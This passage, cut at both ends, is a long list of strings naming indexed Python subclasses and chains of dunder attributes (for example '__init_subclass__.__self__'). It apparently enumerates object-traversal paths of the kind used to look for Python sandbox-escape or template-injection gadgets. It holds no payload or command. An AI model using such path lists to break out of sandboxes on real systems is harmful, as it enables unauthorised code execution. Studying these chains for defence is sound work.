..readlines.__class__", "Subclass 98: .._fill_cache.__ge__.__self__", "Subclass 105: ..open_resource.__setattr__.__self__", "Subclass 114: ..__hash__.__delattr__.__self__", "Subclass 104: ..is_package.__hash__.__self__", "Subclass 139: ..__str__.__new__.__self__", "Subclass 185: ..getwhile.__reduce_ex__.__self__", "Subclass 104: ..get_filename.__reduce__.__self__", "Subclass 138: ..send.__init__.__self__", "Subclass 186: ..scan.__format__.__self__", "Subclass 95: ..append.__reduce__.__self__", "Subclass 173: ..__init_subclass__.__self__.__get__", "Subclass 94: ..__init_subclass__.__self__.get_data", "Subclass 98: ..__init_subclass__.__self__.__repr__", "Subclass 104: ..get_source.__call__.__self__", "Subclass 94: ..resource_path.__dir__.__self__", "Subclass 198: ..create_module.__repr__.__self__", "Subclass 132: ..__class__.__subclasscheck__", "Subclass 164: ..repr_deque.__hash__.__self__", "Subclass 199: ..open_resource.__reduce__.__self__", "Subclass 110: ..__iter__.__hash__.__self__", "Subclass 110: ..__getattr__.__call__.__objclass__", "Subclass 109: ..reset.__init_subclass__.__self__", "Subclass 110: ..read.__getattribute__.__self__", "Subclass 138: ..__init_subclass__.__self__.__init__", "Subclass 110: ..__exit__.__delattr__.__self__", "Subclass 119: ..__iter__.__get__.__self__", "Subclass 195: ..TextIO.readline.__class__", "Subclass 133: ..__getattr__.__str__.__self__", "Subclass 80: ..release.__dir__.__self__", "Subclass 174: ..__subclasshook__.__self__.__init__", "Subclass 96: ..exec_module.__get__.__objclass__", "Subclass 96: ..__init__.__setattr__.__self__", "Subclass 80: ..release.__ge__.__self__", "Subclass 177: .._create_cb_wrapper.__reduce__.__self__", "Subclass 117: ..__subclasshook__.__func__.__class__", "Subclass 95: ..__repr__.__le__.__self__", "Subclass 104: ..find_module.__sizeof__.__self__", "Subclass 164: ..__init__.__repr__.__self__", "Subclass 199: ..contents.__reduce_ex__.__self__", "Subclass 174: ..__set_name__.__dir__.__self__", "Subclass 164: ..repr_instance.__eq__.__self__", "Subclass 110: ..__init_subclass__.__self__.readlines", "Subclass 108: ..getstate.__le__.__self__", "Subclass 80: ..has_deadlock.__setattr__.__self__", "Subclass 185: ..tell.__reduce_ex__.__self__", "Subclass 93: ..is_package.__getattribute__.__self__", "Subclass 174: ..__init__.__ne__.__self__", "Subclass 110: ..read.__get__.__objclass__", "Subclass 109: ..reset.__init__.__self__", "Subclass 105: ..open_resource.__ge__.__self__", "Subclass 94: ..__init_subclass__.__self__.load_module", "Subclass 109: ..write.__get__.__objclass__", "Subclass 108: ..setstate.__gt__.__self__", "Subclass 133: ..__exit__.__init_subclass__.__self__", "Subclass 164: ..repr_instance.__repr__.__self__", "Subclass 198: ..__weakref__.__objclass__.create_module", "Subclass 110: ..__exit__.__gt__.__self__", "Subclass 134: ..__init__.__reduce__.__self__", "Subclass 197: ..__class__._abc_registry_clear", "Subclass 138: ..send.__reduce__.__self__", "Subclass 117: ..__aiter__.__new__.__self__", "Subclass 87: ..__exit__.__reduce__.__self__", "Subclass 95: ..__subclasshook__.__self__.__iter__", "Subclass 95: ..__weakref__.__objclass__._recalculate", "Subclass 135: ..__repr__.__init_subclass__.__self__", "Subclass 197: ..find_module", "Subclass 86: ..exec_module.__sizeof__.__self__", "Subclass 140: ..__repr__.__le__.__self__", "Subclass 133: ..__init_subclass__.__self__.close", "Subclass 84: ..module_repr.__ne__.__self__", "Subclass 109: ..readline.__repr__.__objclass__", "Subclass 104: ..find_loader.__repr__.__self__", "Subclass 176: ..__init__.__le__.__self__", "Subclass 94: ..open_resource.__eq__.__self__", "Subclass 198: ..module_repr.__ne__.__self__", "Subclass 95: ..__weakref__.__objclass__.__iter__", "Subclass 139: ..__init__.__repr__.__objclass__", 'Global func 1: ..__getattribute__.__self__', "Subclass 183: ..__init__.__gt__.__self__", "Subclass 134: ..__call__.__call__.__objclass__", "Subclass 164: ..repr_str.__new__.__self__", "Subclass 117: ..__aiter__.__lt__.__self__", "Subclass 177: .._push_cm_exit.__repr__.__objclass__", "Subclass 95: .._find_parent_path_names.__call__.__self__", "Subclass 104: ..__subclasshook__.__self__.__init__", "Subclass 133: ..__enter__.__le__.__self__", "Subclass 108: ..decode.__str__.__self__", "Subclass 198: ..load_module.__getattribute__.__self__", "Subclass 164: ..repr_deque.__init__.__self__", "Subclass 110: ..writelines.__repr__.__self__", "Subclass 110: ..writelines.__gt__.__self__", "Subclass 95: ..__setitem__.__str__.__self__", "Subclass 104: ..get_source.__gt__.__self__", "Subclass 81: ..acquire.__reduce_ex__.__self__", "Subclass 104: ..get_filename.__str__.__self__", "Subclass 82: ..__exit__.__new__.__self__", "Subclass 114: ..__hash__.__format__.__self__", "Subclass 94: ..get_filename.__gt__.__self__", "Subclass 185: ..tell.__new__.__self__", "Subclass 184: ..__getitem__.__reduce__.__self__", "Subclass 136: ..__call__.__eq__.__self__", "Subclass 104: ..__init__.__delattr__.__self__", "Subclass 109: ..__init__.__dir__.__self__", "Subclass 183: ..closegroup.__str__.__self__", "Subclass 177: .._create_exit_wrapper.__le__.__self__", "Subclass 164: ..repr_instance.__le__.__self__", "Subclass 94: ..is_resource.__get__.__self__", "Subclass 197: ..find_module.__getattribute__.__self__", "Subclass 133: ..__iter__.__call__.__objclass__", "Subclass 98: ..find_module.__init_subclass__.__self__", "Subclass 96: ..exec_module.__repr__.__objclass__", "Subclass 110: ..__exit__.__call__.__objclass__", "Subclass 109: ..__init__.__init__.__self__", "Subclass 95: ..append.__class__", "Subclass 83: ..__init__.__class__", "Subclass 177: ..callback.__reduce_ex__.__self__", "Subclass 164: ..repr_array.__new__.__self__", "Subclass 164: ..repr_dict.__getattribute__.__self__", "Subclass 83: ..__repr__.__delattr__.__self__", "Subclass 119: ..__iter__.__getattribute__.__self__", "Subclass 186: ..__subclasshook__.__self__.scan", "Subclass 133: ..__iter__.__init_subclass__.__self__", "Subclass 197: ..find_module.__str__.__self__", "Subclass 195: ..TextIO.read.__class__", "Subclass 105: ..__init__.__hash__.__self__", "Subclass 82: ..__exit__.__init_subclass__.__self__", "Subclass 95: ..__len__.__getattribute__.__self__", "Subclass 137: ..__init__.__class__", "Subclass 177: .._create_exit_wrapper.__format__.__self__", "Subclass 104: ..find_module.__ge__.__self__", "Subclass 104: ..find_loader.__ge__.__self__", "Subclass 110: ..writelines.__getattribute__.__self__", "Subclass 198: ..__init_subclass__.__self__.module_repr", "Subclass 87: ..__subclasshook__.__self__.__enter__", "Subclass 86: ..exec_module.__eq__.__self__", "Subclass 83: ..__init__.__format__.__self__", "Subclass 177: ..callback.__subclasshook__.__self__", "Subclass 195: ..TextIO.flush", "Subclass 198: ..create_module.__lt__.__self__", "Subclass 172: ..__repr__.__dir__.__self__", "Subclass 119: ..__subclasshook__.__func__.__class__", "Subclass 198: ..create_module.__format__.__self__", "Subclass 199: ..__weakref__.__objclass__.open_resource", "Subclass 110: ..readline.__reduce_ex__.__self__", "Subclass 109: ..__next__.__sizeof__.__self__", "Subclass 108: ..getstate", "Subclass 184: ..__init__.__hash__.__self__", "Subclass 104: ..__init__.__reduce__.__self__", "Subclass 98: .._get_spec.__call__.__objclass__", "Subclass 81: ..acquire.__sizeof__.__self__", "Subclass 110: ..writelines.__ge__.__self__", "Subclass 135: .._Printer__setup.__init__.__self__", "Subclass 134: ..__repr__.__gt__.__self__", "Subclass 93: ..exec_module.__sizeof__.__self__", "Subclass 138: ..__await__.__str__.__self__", "Subclass 164: .._repr_iterable.__eq__.__self__", "Subclass 98: ..find_loader.__repr__.__objclass__", "Subclass 164: ..repr1.__delattr__.__self__", "Subclass 186: ..scan.__delattr__.__self__", "Subclass 183: ..checklookbehindgroup.__init_subclass__.__self__", "Subclass 135: ..__call__.__eq__.__self__", "Subclass 104: ..get_filename.__hash__.__self__", "Subclass 195: ..IO.isatty", "Subclass 110: ..readline.__dir__.__self__", "Subclass 140: ..__enter__.__ne__.__self__", "Subclass 94: ..load_module.__repr__.__self__", "Subclass 135: ..__call__.__hash__.__self__", "Subclass 94: ..get_filename.__hash__.__self__", "Subclass 94: ..contents.__eq__.__self__", "Subclass 95: ..__len__.__eq__.__self__", "Subclass 82: ..__exit__.__get__.__self__", "Subclass 177: ..__subclasshook__.__self__._push_exit_callback", "Subclass 184: ..__getitem__.__class__", "Subclass 196: ..Match.__getitem__.__wrapped__", "Subclass 94: ..load_module.__repr__.__objclass__", "Subclass 132: ..__class_getitem__.__func__.__repr__", "Subclass 86: ..exec_module.__hash__.__self__", "Subclass 164: ..repr_int.__new__.__self__", "Subclass 98: ..find_spec.__le__.__self__", "Subclass 98: ..find_loader.__get__.__self__", "Subclass 94: ..__eq__.__repr__.__objclass__", "Subclass 81: ..acquire.__lt__.__self__", "Subclass 199: ..is_resource.__sizeof__.__self__", "Subclass 93: ..load_module.__reduce_ex__.__self__", "Subclass 80: ..__init__.__format__.__self__", "Subclass 105: ..is_resource.__reduce_ex__.__self__", "Subclass 98: ..__init__.__init_subclass__.__self__", "Subclass 95: .._recalculate.__le__.__self__", "Subclass 107: ..__init__.__sizeof__.__self__", "Subclass 176: ..__init__.__get__.__objclass__", "Subclass 110: ..__init__.__init__.__self__", "Subclass 93: ..is_package.__get__.__objclass__", "Subclass 80: ..__repr__.__call__.__self__", "Subclass 173: ..register.__reduce_ex__.__self__", "Subclass 109: ..__iter__.__repr__.__self__", "Subclass 133: ..close.__call__.__objclass__", "Subclass 164: ..repr_list.__subclasshook__.__self__", "Subclass 183: ..__init__.__repr__.__self__", "Subclass 107: ..encode.__new__.__self__", "Subclass 185: .._Tokenizer__next.__getattribute__.__self__", "Subclass 133: ..__weakref__.__objclass__.__getattr__", "Subclass 80: ..__init_subclass__.__self__.has_deadlock", "Subclass 177: ..pop_all.__lt__.__self__", "Subclass 95: .._recalculate.__ne__.__self__", "Subclass 107: ..setstate.__subclasshook__.__self__", "Subclass 199: ..resource_path.__class__", "Subclass 109: ..__init_subclass__.__self__.__getattr__", "Subclass 110: ..write.__class__", "Subclass 164: ..repr_frozenset", "Subclass 94: ..contents.__str__.__self__", "Subclass 109: ..read.__eq__.__self__", "Subclass 119: ..__iter__.__repr__.__self__", "Subclass 164: ..repr_list.__sizeof__.__self__", "Subclass 94: ..is_resource.__ne__.__self__", "Subclass 177: .._push_cm_exit.__ge__.__self__", "Subclass 94: ..resource_path.__format__.__self__", "Subclass 95: ..__setitem__.__ne__.__self__", "Subclass 188: ..__copy__.__repr__.__self__", "Subclass 164: ..repr_list.__le__.__self__", "Subclass 119: ..__class__._dump_registry.__class__", "Subclass 174: ..__set_name__", "Subclass 130: ..__class__._abc_caches_clear", "Subclass 184: ..insert.__call__.__objclass__", "Subclass 109: ..readline.__call__.__self__", "Subclass 94: ..contents.__gt__.__self__", "Subclass 96: ..is_package.__class__", "Subclass 110: ..reset.__hash__.__self__", "Subclass 185: ..get.__new__.__self__", "Subclass 115: ..__class__.__instancecheck__.__class__", "Subclass 96: ..load_module.__repr__.__self__", "Subclass 164: ..repr_set.__call__.__objclass__", "Subclass 94: ..get_data.__gt__.__self__", "Subclass 94: ..resource_path.__repr__.__objclass__", "Subclass 184: ..dump.__call__.__objclass__", "Subclass 110: ..readline.__init__.__self__", "Subclass 110: ..__enter__.__class__", "Subclass 110: ..__next__.__new__.__self__", "Subclass 105: ..resource_path.__reduce_ex__.__self__", "Subclass 133: ..__subclasshook__.__self__.close", "Subclass 140: ..__exit__.__get__.__self__", "Subclass 109: ..writelines.__ge__.__self__", "Subclass 107: ..__init__.__ge__.__self__", "Subclass 198: ..module_repr.__eq__.__self__", "Subclass 108: ..__init__.__setattr__.__self__", "Subclass 184: ..__setitem__.__setattr__.__self__", "Subclass 107: ..__init__", "Subclass 104: ..get_resource_reader.__new__.__self__", "Subclass 140: ..__enter__.__format__.__self__", "Subclass 173: ..__init__.__call__.__self__", "Subclass 174: ..__set_name__.__new__.__self__", "Subclass 184: ..insert.__str__.__self__", "Subclass 82: ..__init__.__ne__.__self__", "Subclass 110: ..__exit__.__reduce__.__self__", "Subclass 110: ..write.__str__.__self__", "Subclass 186: ..__init__", "Subclass 104: ..get_filename.__setattr__.__self__", "Subclass 104: ..find_loader.__delattr__.__self__", "Subclass 109: ..reset.__setattr__.__self__", "Subclass 109: ..seek.__sizeof__.__self__", "Subclass 96: ..exec_module.__reduce__.__self__", "Subclass 98: ..find_loader.__subclasshook__.__self__", "Subclass 95: .._recalculate", "Subclass 95: ..__repr__.__sizeof__.__self__", "Subclass 195: ..BinaryIO.readlines.__class__", "Subclass 137: ..deleter.__lt__.__self__", "Subclass 136: ..__init_subclass__.__self__.__repr__", "Subclass 92: ..find_spec.__func__", "Subclass 39: ..__closure__.__objclass__", "Subclass 164: ..__init_subclass__.__self__.repr_frozenset", "Subclass 104: ..find_loader.__reduce_ex__.__self__", "Subclass 104: ..get_filename.__delattr__.__self__", "Subclass 195: ..IO.flush.__class__", "Subclass 185: ..seek.__sizeof__.__self__", "Subclass 172: .._make_unbound_method.__str__.__self__", "Subclass 177: .._create_exit_wrapper.__get__.__objclass__", "Subclass 109: ..write.__init_subclass__.__self__", "Subclass 104: ..__init_subclass__.__self__.load_module", "Subclass 114: ..__hash__.__ne__.__self__", "Subclass 195: ..IO.__exit__", "Subclass 98: ..find_spec.__get__.__objclass__", "Subclass 110: ..__enter__", "Subclass 107: ..getstate.__le__.__self__", "Subclass 108: ..__init__.__reduce_ex__.__self__", "Subclass 98: ..find_spec.__lt__.__self__", "Subclass 109: ..__next__.__repr__.__self__", "Subclass 110: ..__enter__.__call__.__objclass__", "Subclass 184: ..append.__get__.__self__", "Subclass 183: ..opengroup.__ne__.__self__", "Subclass 176: ..__init__.__dir__.__self__", "Subclass 95: ..__contains__.__get__.__objclass__", "Subclass 164: .._repr_iterable.__ge__.__self__", "Subclass 177: .._create_cb_wrapper.__get__.__objclass__", "Subclass 196: ..Pattern.__class__.__getattr__", "Subclass 83: ..__eq__.__get__.__objclass__", "Subclass 95: ..__init_subclass__.__self__.__getitem__", "Subclass 172: ..__init__.__init__.__self__", "Subclass 173: ..__init__.__call__.__objclass__", "Subclass 104: ..get_data.__call__.__objclass__", "Subclass 93: ..load_module.__dir__.__self__", "Subclass 96: ..get_source.__sizeof__.__self__", "Subclass 82: ..__init__.__le__.__self__", "Subclass 107: ..getstate.__ge__.__self__", "Subclass 133: ..__getattr__.__repr__.__objclass__", "Subclass 109: ..__exit__.__sizeof__.__self__", "Subclass 110: ..__init__.__setattr__.__self__", "Subclass 133: ..__init__.__call__.__objclass__", "Subclass 107: ..encode.__delattr__.__self__", "Subclass 185: ..__init_subclass__.__self__.tell", "Subclass 96: ..is_package.__delattr__.__self__", "Subclass 164: .._repr_iterable.__format__.__self__", 'Global func 1: ..__call__.__objclass__', "Subclass 109: ..readline.__get__.__objclass__", "Subclass 82: ..__init__.__eq__.__self__", "Subclass 84: ..module_repr.__repr__.__self__", "Subclass 172: .._make_unbound_method.__call__.__self__", "Subclass 186: ..scan.__get__.__self__", "Subclass 86: ..exec_module.__reduce__.__self__", "Subclass 133: ..__iter__.__subclasshook__.__self__", "Subclass 94: ..__eq__.__ge__.__self__", "Subclass 133: ..__exit__", "Subclass 177: ..push.__repr__.__self__", "Subclass 188: ..__deepcopy__.__eq__.__self__", "Subclass 119: ..__iter__.__ne__.__self__", "Subclass 108: ..getstate.__lt__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr_dict", "Subclass 195: ..IO.write", "Subclass 133: ..__iter__.__repr__.__objclass__", "Subclass 174: ..__init__.__get__.__self__", "Subclass 183: ..checklookbehindgroup.__new__.__self__", "Subclass 82: ..__init__.__get__.__self__", "Subclass 185: ..tell.__call__.__objclass__", "Subclass 110: ..readlines.__eq__.__self__", "Subclass 139: ..__init__.__init_subclass__.__self__", "Subclass 130: ..__len__.__format__.__self__", "Subclass 172: .._make_unbound_method.__ne__.__self__", "Subclass 164: ..repr1.__le__.__self__", "Subclass 134: ..__repr__.__getattribute__.__self__", "Subclass 110: ..__exit__", "Subclass 109: ..reset.__reduce_ex__.__self__", "Subclass 164: ..repr_list.__repr__.__objclass__", "Subclass 94: ..load_module.__reduce_ex__.__self__", "Subclass 81: ..acquire.__new__.__self__", "Subclass 96: ..exec_module.__gt__.__self__", "Subclass 137: ..__get__.__hash__.__self__", "Subclass 87: ..__exit__.__class__", "Subclass 110: ..__exit__.__init__.__self__", "Subclass 134: ..__init__.__ne__.__self__", "Subclass 138: ..__await__.__repr__.__objclass__", "Subclass 177: .._create_exit_wrapper.__dir__.__self__", "Subclass 184: ..__getitem__.__call__.__objclass__", "Subclass 184: ..__init_subclass__.__self__.dump", "Subclass 105: ..__subclasshook__.__self__.open_resource", "Subclass 98: ..find_loader.__new__.__self__", "Subclass 177: .._create_exit_wrapper.__delattr__.__self__", "Subclass 80: ..has_deadlock.__init_subclass__.__self__", "Subclass 105: ..__init__", "Subclass 86: ..module_repr.__init_subclass__.__self__", "Subclass 107: ..getstate.__new__.__self__", "Subclass 110: ..seek.__call__.__objclass__", "Subclass 172: .._make_unbound_method.__call__.__objclass__", "Subclass 131: ..__contains__.__reduce__.__self__", "Subclass 104: ..load_module.__call__.__objclass__", "Subclass 84: ..get_code.__func__.__class__", "Subclass 185: ..getuntil.__le__.__self__", "Subclass 140: ..__repr__.__call__.__self__", "Subclass 98: ..find_loader.__reduce__.__self__", "Subclass 164: ..repr_list.__reduce__.__self__", "Subclass 94: ..__init__.__get__.__self__", "Subclass 185: ..match.__str__.__self__", "Subclass 140: ..__enter__.__le__.__self__", "Subclass 83: ..__eq__.__ge__.__self__", "Subclass 175: .._recreate_cm.__repr__.__self__", "Subclass 110: ..reset.__init__.__self__", "Subclass 199: ..resource_path.__call__.__self__", "Subclass 110: ..seek.__reduce__.__self__", "Subclass 184: ..__getitem__.__subclasshook__.__self__", "Subclass 177: ..enter_context.__class__", "Subclass 95: ..__repr__.__get__.__self__", "Subclass 104: ..__init__.__subclasshook__.__self__", "Subclass 81: ..__init__.__repr__.__objclass__", "Subclass 138: ..close.__gt__.__self__", "Subclass 184: ..append.__lt__.__self__", "Subclass 84: ..module_repr.__reduce__.__self__", "Subclass 105: ..resource_path.__gt__.__self__", "Subclass 104: ..get_source.__class__", "Subclass 164: ..__init_subclass__.__self__.repr_int", "Subclass 110: ..readlines.__call__.__objclass__", "Subclass 114: ..__class__._abc_registry_clear", "Subclass 164: ..repr_frozenset.__call__.__objclass__", "Subclass 94: ..__subclasshook__.__self__.load_module", "Subclass 81: ..release.__init__.__self__", "Subclass 82: ..__enter__.__str__.__self__", "Subclass 184: ..__delitem__.__reduce_ex__.__self__", "Subclass 139: ..__str__.__reduce__.__self__", "Subclass 108: ..decode.__ne__.__self__", "Subclass 199: ..resource_path.__delattr__.__self__", "Subclass 164: .._repr_iterable.__str__.__self__", "Subclass 183: ..checkgroup.__hash__.__self__", "Subclass 174: ..__set_name__.__delattr__.__self__", "Subclass 115: ..__class__._dump_registry", "Subclass 199: ..is_resource.__hash__.__self__", "Subclass 164: ..repr.__init_subclass__.__self__", "Subclass 199: ..open_resource.__init_subclass__.__self__", "Subclass 81: ..__repr__.__getattribute__.__self__", "Subclass 107: ..encode.__call__.__objclass__", "Subclass 133: ..__exit__.__setattr__.__self__", "Subclass 94: ..open_resource.__ne__.__self__", "Subclass 94: ..resource_path.__ne__.__self__", "Subclass 82: ..__exit__.__dir__.__self__", 'Global func 1: ..__eq__.__self__.__class__', "Subclass 95: ..__subclasshook__.__self__.__getitem__", "Subclass 183: ..__subclasshook__.__self__.checklookbehindgroup", "Subclass 95: ..__repr__.__lt__.__self__", "Subclass 164: ..repr_deque.__repr__.__objclass__", "Subclass 93: ..exec_module.__init_subclass__.__self__", "Subclass 195: ..TextIO.write", "Subclass 183: ..opengroup.__reduce__.__self__", "Subclass 95: ..__weakref__.__objclass__.__getitem__", "Subclass 198: ..create_module.__dir__.__self__", "Subclass 135: ..__call__.__subclasshook__.__self__", "Subclass 110: ..__iter__.__getattribute__.__self__", "Subclass 175: .._recreate_cm.__ge__.__self__", "Subclass 177: ..push.__sizeof__.__self__", "Subclass 184: ..__len__.__setattr__.__self__", "Subclass 95: ..__init__.__class__", "Subclass 137: ..getter.__get__.__self__", "Subclass 117: ..__aiter__.__repr__.__self__", "Subclass 110: ..__subclasshook__.__self__.__iter__", "Subclass 184: ..__repr__.__call__.__objclass__", "Subclass 109: ..__iter__.__class__", "Subclass 198: ..load_module.__format__.__self__", "Subclass 104: ..get_data.__gt__.__self__", "Subclass 137: ..__init__.__setattr__.__self__", "Subclass 195: ..BinaryIO.writelines.__class__", "Subclass 137: ..__init__.__get__.__objclass__", "Subclass 96: ..get_code.__call__.__self__", "Subclass 185: ..error.__repr__.__objclass__", "Subclass 192: ..__new__.__repr__.__self__", "Subclass 139: ..__str__.__lt__.__self__", "Subclass 177: ..push.__delattr__.__self__", "Subclass 134: ..__subclasshook__.__self__.__call__", "Subclass 107: ..getstate.__class__", "Subclass 84: ..load_module.__func__", "Subclass 98: .._fill_cache.__class__", "Subclass 137: ..__delete__.__dir__.__self__", "Subclass 95: ..__setitem__.__hash__.__self__", "Subclass 110: ..writelines.__init_subclass__.__self__", "Subclass 172: ..__get__.__ge__.__self__", "Subclass 185: ..__init__.__init__.__self__", "Subclass 107: ..setstate.__repr__.__self__", "Subclass 183: ..closegroup.__getattribute__.__self__", "Subclass 83: ..__eq__.__call__.__objclass__", "Subclass 175: .._recreate_cm.__setattr__.__self__", "Subclass 184: ..__init__.__call__.__self__", "Subclass 109: ..__enter__.__repr__.__objclass__", "Subclass 172: ..__init__.__eq__.__self__", "Subclass 110: ..__next__.__call__.__objclass__", "Subclass 136: ..__repr__.__sizeof__.__self__", "Subclass 164: ..repr.__delattr__.__self__", "Subclass 115: ..__await__.__dir__.__self__", "Subclass 198: ..module_repr.__str__.__self__", "Subclass 183: ..closegroup.__init__.__self__", "Subclass 172: ..__repr__.__format__.__self__", "Subclass 109: ..writelines.__class__", "Subclass 172: ..__repr__.__get__.__self__", "Subclass 98: ..__weakref__.__objclass__._fill_cache", "Subclass 184: ..getwidth.__call__.__self__", "Subclass 96: ..__init__.__call__.__objclass__", "Subclass 106: ..decode.__eq__.__self__", "Subclass 109: ..readlines.__lt__.__self__", "Subclass 83: ..__eq__.__eq__.__self__", "Subclass 109: ..__iter__.__init__.__self__", "Subclass 109: ..__next__.__format__.__self__", "Subclass 137: ..__delete__.__call__.__objclass__", "Subclass 81: ..release.__gt__.__self__", "Subclass 175: ..__call__", "Subclass 95: .._get_parent_path.__lt__.__self__", "Subclass 184: ..__len__.__dir__.__self__", "Subclass 81: ..acquire.__get__.__self__", "Subclass 98: ..invalidate_caches.__init_subclass__.__self__", "Subclass 96: ..__init__.__str__.__self__", "Subclass 109: ..reset.__subclasshook__.__self__", "Subclass 105: ..is_resource.__init_subclass__.__self__", "Subclass 94: ..is_resource.__format__.__self__", "Subclass 140: ..__exit__.__class__", "Subclass 130: ..__len__.__setattr__.__self__", "Subclass 184: ..__setitem__.__ge__.__self__", "Subclass 98: .._fill_cache.__le__.__self__", "Subclass 184: ..insert.__reduce__.__self__", "Subclass 86: ..exec_module.__ge__.__self__", "Subclass 139: ..__str__.__setattr__.__self__", "Subclass 82: ..__init__.__str__.__self__", "Subclass 164: ..repr_set.__new__.__self__", "Subclass 105: ..contents.__getattribute__.__self__", "Subclass 133: ..__getattr__.__setattr__.__self__", "Subclass 110: ..readlines.__new__.__self__", "Subclass 94: ..open_resource.__call__.__objclass__", "Subclass 198: ..load_module.__repr__.__objclass__", "Subclass 108: ..reset.__reduce_ex__.__self__", "Subclass 184: ..__len__.__reduce_ex__.__self__", "Subclass 86: ..get_source.__self__.module_repr", "Subclass 134: ..__subclasshook__.__self__.__init__", "Subclass 109: ..read.__str__.__self__", "Subclass 175: ..__call__.__init__.__self__", "Subclass 130: ..__len__.__gt__.__self__", "Subclass 133: ..close.__init__.__self__", "Subclass 110: ..__enter__.__str__.__self__", "Subclass 185: ..seek.__get__.__objclass__", "Subclass 177: .._push_exit_callback.__subclasshook__.__self__", "Subclass 199: ..__class__._abc_registry_clear.__class__", "Subclass 139: ..__str__.__delattr__.__self__", "Subclass 110: ..read.__lt__.__self__", "Subclass 104: ..__repr__.__reduce__.__self__", "Subclass 96: ..create_module.__ne__.__self__", "Subclass 164: ..repr1.__reduce_ex__.__self__", "Subclass 173: ..register.__new__.__self__", "Subclass 138: ..__next__.__le__.__self__", "Subclass 110: ..read.__reduce__.__self__", "Subclass 95: ..__setitem__.__new__.__self__", "Subclass 94: ..get_filename.__sizeof__.__self__", "Subclass 139: ..__str__.__eq__.__self__", "Subclass 119: ..__iter__.__subclasshook__.__self__", "Subclass 82: ..__enter__.__class__", "Subclass 97: ..find_module.__func__.__class__", "Subclass 138: ..__await__.__delattr__.__self__", "Subclass 138: ..close.__eq__.__self__", "Subclass 131: ..__contains__.__get__.__objclass__", "Subclass 138: ..__await__.__class__", "Subclass 184: ..__setitem__.__delattr__.__self__", "Subclass 177: .._create_cb_wrapper.__class__", "Subclass 86: ..module_repr.__class__", "Subclass 177: ..__init__", "Subclass 81: ..__repr__.__get__.__objclass__", "Subclass 173: ..__init__.__new__.__self__", "Subclass 177: .._push_cm_exit.__init__.__self__", "Subclass 96: ..__init__.__subclasshook__.__self__", "Subclass 104: ..load_module.__ne__.__self__", "Subclass 185: ..getwhile", "Subclass 109: ..reset.__sizeof__.__self__", "Subclass 82: ..__weakref__.__objclass__.__init__", "Subclass 98: ..__init__.__repr__.__self__", "Subclass 130: ..__len__.__repr__.__self__", "Subclass 137: ..setter.__repr__.__objclass__", "Subclass 117: ..__class__.__subclasscheck__.__class__", "Subclass 96: ..module_repr.__self__.load_module", "Subclass 173: ..__get__.__ge__.__self__", "Subclass 164: ..repr_dict.__init__.__self__", "Subclass 199: ..__init_subclass__.__self__.open_resource", "Subclass 137: ..__get__.__getattribute__.__self__", "Subclass 81: ..release", "Subclass 164: ..__init__.__init_subclass__.__self__", "Subclass 183: ..opengroup.__format__.__self__", "Subclass 115: ..__await__.__get__.__self__", "Subclass 134: ..__repr__.__ge__.__self__", "Subclass 95: .._find_parent_path_names.__init__.__self__", "Subclass 96: ..create_module", "Subclass 97: ..invalidate_caches.__func__", "Subclass 94: ..__hash__.__class__", "Subclass 136: ..__repr__.__repr__.__objclass__", "Subclass 109: ..seek.__gt__.__self__", "Subclass 96: ..get_source.__lt__.__self__", "Subclass 114: ..__class__.__instancecheck__.__class__", "Subclass 98: ..__repr__.__class__", "Subclass 114: ..__class__._abc_caches_clear.__class__", "Subclass 185: ..tell.__subclasshook__.__self__", "Subclass 198: ..load_module.__get__.__self__", "Subclass 108: ..__init_subclass__.__self__.decode", "Subclass 177: ..__init__.__ne__.__self__", "Subclass 196: ..Pattern.__init__.__func__", "Subclass 104: ..find_module.__init__.__self__", "Subclass 184: ..__len__.__str__.__self__", "Subclass 98: ..find_module", "Subclass 108: ..__init__.__hash__.__self__", "Subclass 184: ..__init__.__subclasshook__.__self__", "Subclass 104: ..find_module.__get__.__self__", "Subclass 114: ..__hash__.__ge__.__self__", "Subclass 110: ..__init_subclass__.__self__.__iter__", "Subclass 95: .._recalculate.__get__.__self__", "Subclass 81: ..__repr__.__lt__.__self__", "Subclass 84: ..find_module.__func__", "Subclass 117: ..__aiter__.__call__.__self__", "Subclass 177: ..pop_all.__init__.__self__", "Subclass 140: ..__exit__.__format__.__self__", "Subclass 140: ..__init__.__repr__.__self__", "Subclass 109: ..__getattr__.__new__.__self__", "Subclass 98: .._fill_cache.__subclasshook__.__self__", "Subclass 96: ..get_code.__get__.__objclass__", "Subclass 164: ..repr.__dir__.__self__", "Subclass 138: ..__iter__.__lt__.__self__", "Subclass 81: ..__init__.__sizeof__.__self__", "Subclass 199: ..open_resource.__gt__.__self__", 'Global func 1: ..__reduce_ex__.__self__.__class__', "Subclass 110: ..readlines.__init_subclass__.__self__", "Subclass 140: ..__repr__.__class__", "Subclass 195: ..BinaryIO.readline", "Subclass 95: .._get_parent_path.__get__.__self__", "Subclass 172: .._make_unbound_method", "Subclass 110: ..read.__init_subclass__.__self__", "Subclass 172: ..__get__.__new__.__self__", "Subclass 174: ..__get__.__setattr__.__self__", "Subclass 96: ..__init__.__get__.__objclass__", "Subclass 104: ..load_module.__get__.__self__", "Subclass 94: ..__init__.__ge__.__self__", "Subclass 138: ..__next__.__get__.__objclass__", "Subclass 109: ..writelines.__new__.__self__", "Subclass 137: ..__subclasshook__.__self__.getter", "Subclass 81: ..acquire.__repr__.__objclass__", "Subclass 183: ..__init__.__class__", "Subclass 110: ..__iter__.__le__.__self__", "Subclass 185: ..__weakref__.__objclass__.get", "Subclass 110: ..__exit__.__hash__.__self__", "Subclass 109: ..readline.__ne__.__self__", "Subclass 110: ..reset.__get__.__objclass__", "Subclass 177: .._push_exit_callback.__new__.__self__", "Subclass 86: ..module_repr.__reduce_ex__.__self__", "Subclass 108: ..reset.__str__.__self__", "Subclass 164: ..repr_tuple.__init__.__self__", "Subclass 96: ..exec_module.__init__.__self__", "Subclass 114: ..__hash__.__subclasshook__.__self__", "Subclass 83: ..__init__.__ne__.__self__", "Subclass 133: ..close.__get__.__self__", "Subclass 104: ..__repr__.__lt__.__self__", "Subclass 117: ..__subclasshook__.__self__.__aiter__", "Subclass 199: ..open_resource.__repr__.__objclass__", "Subclass 164: ..__subclasshook__.__self__.__init__", "Subclass 81: ..__init__.__repr__.__self__", "Subclass 108: ..__init__.__eq__.__self__", "Subclass 164: ..repr.__subclasshook__.__self__", "Subclass 177: ..__init__.__class__", "Subclass 110: ..seek.__hash__.__self__", "Subclass 184: ..getwidth.__hash__.__self__", "Subclass 183: ..__init_subclass__.__self__.checklookbehindgroup", "Subclass 184: 